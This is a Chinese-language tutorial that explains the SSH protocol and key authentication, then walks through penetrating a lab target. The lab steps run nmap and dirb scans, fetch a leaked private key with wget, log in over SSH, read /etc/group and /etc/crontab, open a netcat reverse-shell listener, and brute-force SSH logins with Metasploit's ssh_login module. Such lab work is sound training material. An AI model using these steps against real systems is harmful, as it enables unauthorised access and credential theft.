首先,我们先理解什么是SSH协议
SSH是(Secure SHell protocol)
(安全外壳协议)。由 IETF 的网络小组(Network Working Group)制定。
以前我们都是使用rsh和telnet的明文传输,这样的话登录时的ID和密码数据就会直接在网络上暴露,相当于你在网络上被别人看的一清二楚。存在安全上的问题。而SSH提供了加密、校验和压缩,使得我们可以很安全的进行远程操作。不过这并不是绝对的,总有加密文件被破解的一天。但是相对与明文加密,这样还是好很多的。毕竟有密码和无密码的区别是不一样的。
SSH加密技术说明
现在网络上的数据包加密技术一般是通过所谓的一对公钥与私钥(PublickeyandPivatekey)组合成的密钥对进行加密与解密操作。
公钥就是大家都知道的密钥,私钥就是只有自己知道的密钥,如果一个密钥加密了,就要另一个密钥去解密。那么我们就可以将它比作成一个锁头和钥匙,私钥就是钥匙,公钥就是锁头。一个公钥对应一个私钥,一把锁对应一个钥匙。拿私钥解开公钥。
SSH主要由三部分组成:
SSH-TRANS
SSH传输层协议
传输层顾名思义就是传输数据,它提供作为可选项的数据的压缩功能,以便提高传输速度。并且可以负责进行服务器认证、密钥交换、数据机密性、信息完整性等方面的保护。而它的强大数据加密性以及密钥交换的功能使得它可以为用户认证提供强有力的基础。注意用户认证协议在其之上,其不能进行用户协议。
SSH-USERAUTH
SSH用户认证协议
注意用户认证协议是在传输层协议之上的,它的功能就是为服务器提供客户端用户认证功能。当用户认证协议开始后,它会从传输层协议确认的会话ID,作为本次会话过程的唯一标识,这个唯一标识会用来证明这个私钥的所有权。即,它会通过这个会话的ID来判断你这个私钥是不是这个会话的公钥的解密私钥。且私钥是否合法。另外,ssh支持用户密码认证,公钥认证,CA证书认证。
SSH-CONNECT
SSH连接协议
注意连接协议在用户认证协议和传输层协议之上。大家经常用到的shell登录(交互式登录会话)就是它提供的功能之一。此外它还能进行远程命令的执行,转交TCP/IP连接以及转交X11连接。
SSH-CONNECT > SSH-USERAUTH > SSH-TRANS
SSH是由客户端和服务端组成的
有两个不兼容的版本分别是:1.x和2.x。 用SSH 2.x的客户程序是不能连接到SSH 1.x的服务程序上去的。OpenSSH 2.x同时支持SSH 1.x和2.x。
服务端
可以这么理解它是一个进程守护程序,它在后台运行并响应来自客户端的连接请求。服务端提供了对远程连接的管理,一般包括公钥认证、密钥交换、对称密钥加密和非安全连接。
客户端
包含ssh程序以及像scp(远程拷贝)、slogin(远程登陆)、sftp(安全文件传输)等其他的应用程序。
SSH认证机制
1.基于口令的安全认证
只需要你知道自己的账户和密码你就可以登录服务器,不过不能保证你连接的服务器是否是你要连接的服务器,就是说会受到中间人攻击的危险,不仅如此还存在通过字典来暴力破解你的密码和用户。从而通过ssh客户端远程连接到远程SSH服务,对服务器进行控制。
2.基于密钥的安全认证
id_rsa=私钥 id_rsa.pub=公钥
非对称加密
RSA非对称加密
举个例子
B给A发送信息,A产生一个公钥给B
B通过公钥将信息加密后发送给A,A通过私钥对B的信息进行解密。
反之A通过私钥将信息加密发送给B,B通过公钥解密查看。
密钥认证机制
A向B请求数据,B查看A的公钥
如果公钥正确,则发送数据,否则不会将数据发出,并拒绝。
A拿到数据后,通过私钥解密。
因此, 如果黑客对主机进行信息收集拿到泄露的用户名和密钥,就可以对数据包进行破解。
chmod 600 id_rsa 获得读写权限
ssh -i 私钥 用户名@靶机ip地址
3.免密登录
将需无密码登录的主机公钥公钥上传至服务器
然后就可以进行免密登录。
服务渗透
进行版本号扫描
nmao -sV 靶机IP
进行综合扫描并且详细显示
nmap -A -v 靶机IP
进行操作系统扫描
nmap -O 靶机IP
进行隐藏内容扫描
dirb http://靶机IP
查看服务器版本号
nikto -host 靶机IP
通过发现内容发现存在VDSoyuAXiO.txt文件,进行查看。
靶机IP/icons/VDSoyuAXiO.txt
将txt文件进行下载
wget "http://靶机IP/icons/VDSoyuAXiO.txt"
查看当前目录
ls
ls -alh 查看隐藏文件
mv VDSoyuAXIO.txt id_rsa 将txt文件转换成id_rsa(私钥)
然后给私钥提权chmod 600 id _rsa
进行ssh登录
ssh -i id_rsa martion@靶机IP
通过私钥无密码登录!
查看所有用户组的列表
ls
查看用户组
cat /etc/group
查看缓冲文件目录
cd /tmp
查看隐藏文件
ls -alh
深入挖掘
cat /etc/crontab
添加监听端口
nc -lvp 4444
编写python文件
vi sss.py
添加监听端口
nc -lvp 4444
运行脚本
oython sss.py
监听端口成功连接
下载密码字典
提权第一次启动metasploit的情形,回车是默认选项,生成字典。
进入msf
寻找ssh_login模块
use auxiliary/scanner/ssh/ssh_login
对需要配置的服务进行配置ip,用户
show options
添加密码字典,线程数
set pass_file /root/common-password/hadi.txt
set threads 5
返回每一条登陆信息
set verbose true
运行模块
run
登陆后,返回了一个shell session,打开session
sessions -i 1